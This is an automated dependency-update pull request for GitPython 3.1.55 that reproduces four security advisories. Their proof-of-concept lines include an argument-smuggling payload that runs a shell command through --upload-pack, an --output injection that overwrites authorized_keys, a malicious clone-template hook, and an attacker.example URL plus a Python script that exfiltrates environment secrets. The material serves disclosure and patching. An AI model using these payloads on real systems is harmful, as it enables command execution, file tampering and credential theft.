Update dependency GitPython to v3.1.55 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
GitPython	==3.1.53 → ==3.1.55

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GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks

GHSA-6p8h-3wgx-97gf

More information

Details

Summary

GitPython's unsafe_git_clone_options denylist omits --template. git clone --template=<dir> copies <dir>/hooks/ into the new repository and runs them (post-checkout fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default allow_unsafe_options=False configuration.

Root Cause

base.py:145-152 defines unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"] — --template is absent. The guard candidate ['--template'] passes check_unsafe_options (verified). git copies the hook directory and executes post-checkout at checkout time. git's protocol.allow/GIT_ALLOW_PROTOCOL do not gate --template; the incomplete denylist is the only defense.

Impact

Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, /tmp, or attacker-writable network paths), reflected as AC:H.

Proof of Concept

##### attacker stages <dir>/hooks/post-checkout (chmod +x)
from git import Repo
Repo.clone_from(src, dst, template='<dir>')   # post-checkout hook executes -> marker created (verified)

Attack Chain

1. Setup: attacker stages <dir>/hooks/post-checkout (chmod +x). Guard: n/a (filesystem).
2. Entry: Repo.clone_from(url, path, template='<dir>'). Guard: check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options). Bypass proof: --template not on the denylist -> passes (verified candidate ['--template'], no error).
3. Sink: git copies the hook and executes post-checkout at checkout. Impact: ACE, default config (verified marker created).

Bypass Evidence

Live-verified on HEAD (tag 3.1.53): guard candidate ['--template'] passed with no error; staged post-checkout hook executed during clone_from, creating the marker. Independent of the value-smuggle bypass (--template is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.

Affected Versions

<= 3.1.53

Suggested Fix

Add --template (and audit for other hook/exec-influencing options) to unsafe_git_clone_options.

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Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf
• https://github.com/gitpython-developers/GitPython/pull/2180
• https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

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GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)

GHSA-fjr4-x663-mwxc

More information

Details

Summary

Diffable.diff() forwards **kwargs straight into diff/diff_tree with no check_unsafe_options guard. Diffable is mixed into Commit, Tree, IndexFile, and Submodule, giving a broad surface. git diff --output=<path> writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.

Root Cause

diff.py:188-283 builds and runs the diff command with no check_unsafe_options anywhere in the method (grep-confirmed). Additionally diff.py:265 does args.insert(0, other), placing the caller-supplied other ref BEFORE the -- separator, so a value of --output=/path is parsed by git as an option — a value-only control path requiring no kwarg key.

Impact

Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. ~/.ssh/authorized_keys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.

Proof of Concept

##### Key-control:
commit.diff(other_commit, output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff (105 bytes verified)

##### Value-control (attacker controls only the ref string):
commit.diff(other='--output=/home/app/.ssh/authorized_keys')          # 14-byte victim -> 146 bytes of diff-tree output

Attack Chain

1. Entry (value-control): commit.diff(other=<user ref>) with other = "--output=/home/app/.ssh/authorized_keys". Guard: none in Diffable.diff. Bypass proof: no check_unsafe_options in the method body (grep); other inserted pre--- at diff.py:265.
2. Sink: git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ... -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.

Bypass Evidence

Live-verified on HEAD (tag 3.1.53): both key-control (output=) and value-control (other='--output=...') overwrote a victim file with real diff-tree content; argv confirmed ['git','diff-tree','<sha>','--output=/victim','-r',...]. This is the same value-control model GHSA-956x deemed fix-worthy for iter_commits(rev='--output=') — but diff is a distinct, unguarded sink NOT touched by that fix.

Affected Versions

<= 3.1.53

Suggested Fix

Add check_unsafe_options to Diffable.diff (mirroring iter_commits/archive), and/or place --end-of-options before the other ref so it cannot be parsed as an option.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc
• https://github.com/gitpython-developers/GitPython/pull/2180
• https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution

GHSA-r9mr-m37c-5fr3

More information

Details

Summary

GitPython's check_unsafe_options guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the default allow_unsafe_options=False configuration this yields arbitrary command execution via --upload-pack.

Root Cause

The guard builds its candidate option list from kwarg KEYS only: _option_candidates([], {"n":"--upload-pack=<cmd>"}) returns ['-n'] (cmd.py:1042-1046 derives the candidate from the key, never the value). -n is not on the denylist, so check_unsafe_options passes. But transform_kwarg('n', value, split_single_char_options=True) (cmd.py:1600-1606) emits two argv tokens ['-n', '--upload-pack=<cmd>']. git then parses the second token as --upload-pack and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.

Impact

Arbitrary OS command execution as the host process (via --upload-pack) in the default configuration, affecting all guarded methods since they all build candidates through the name-only _option_candidates.

Proof of Concept

from git import Repo
Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack")

##### /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED.

File-write variant on a guarded revision command: iter_commits('HEAD', g='--output=/path') -> candidate ['-g'] passes, argv ['-g','--output=/path'], victim file truncated.

Attack Chain

1. Entry: app forwards a user-supplied options dict -> Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack"). Guard: check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options) at base.py. Bypass proof: _option_candidates([], {"n":"--upload-pack=..."}) -> ['-n'] (key-only), not on denylist -> no UnsafeOptionError (verified live).
2. Transform: transform_kwarg('n', value, split_single_char_options=True) -> ['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.
3. Sink: git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).

Bypass Evidence

Live-verified on HEAD (tag 3.1.53): _option_candidates returns key-only candidate ['-n']; transform_kwargs emits the smuggled --upload-pack= token; clone_from with the payload created the marker file; the direct-name upload_pack= form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.

Affected Versions

<= 3.1.53

Suggested Fix

Make _option_candidates also emit candidates derived from single-character kwarg VALUES when split_single_char_options is in effect, OR run check_unsafe_options over the fully-transformed argv rather than the reconstructed name-only candidate list.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3
• https://github.com/gitpython-developers/GitPython/pull/2180
• https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

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GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

GHSA-94p4-4cq8-9g67

More information

Details

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

• Python 3.9+
• git on PATH (for the fetch step)
• GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat > poc.py <<'PYEOF'

#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

##### Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

##### Local HTTP server standing in for attacker.example.
captured = []

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass

srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

##### Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port

def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")

print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF

Step 3: Run it

cd /tmp/gp-remote-poc && ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

• git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
• git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup

rm -rf /tmp/gp-remote-poc

Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67
• https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

gitpython-developers/GitPython (GitPython)

v3.1.55: - SECURITY

Compare Source

What's Changed

• fix: prevent environment expansion in remote URLs by @​Byron in #​2181

Full Changelog: gitpython-developers/GitPython@3.1.54...3.1.55

v3.1.54: - SECURITY

Compare Source

What's Changed

• Harden unsafe Git option validation by @​Byron in #​2180

Full Changelog: gitpython-developers/GitPython@3.1.53...3.1.54

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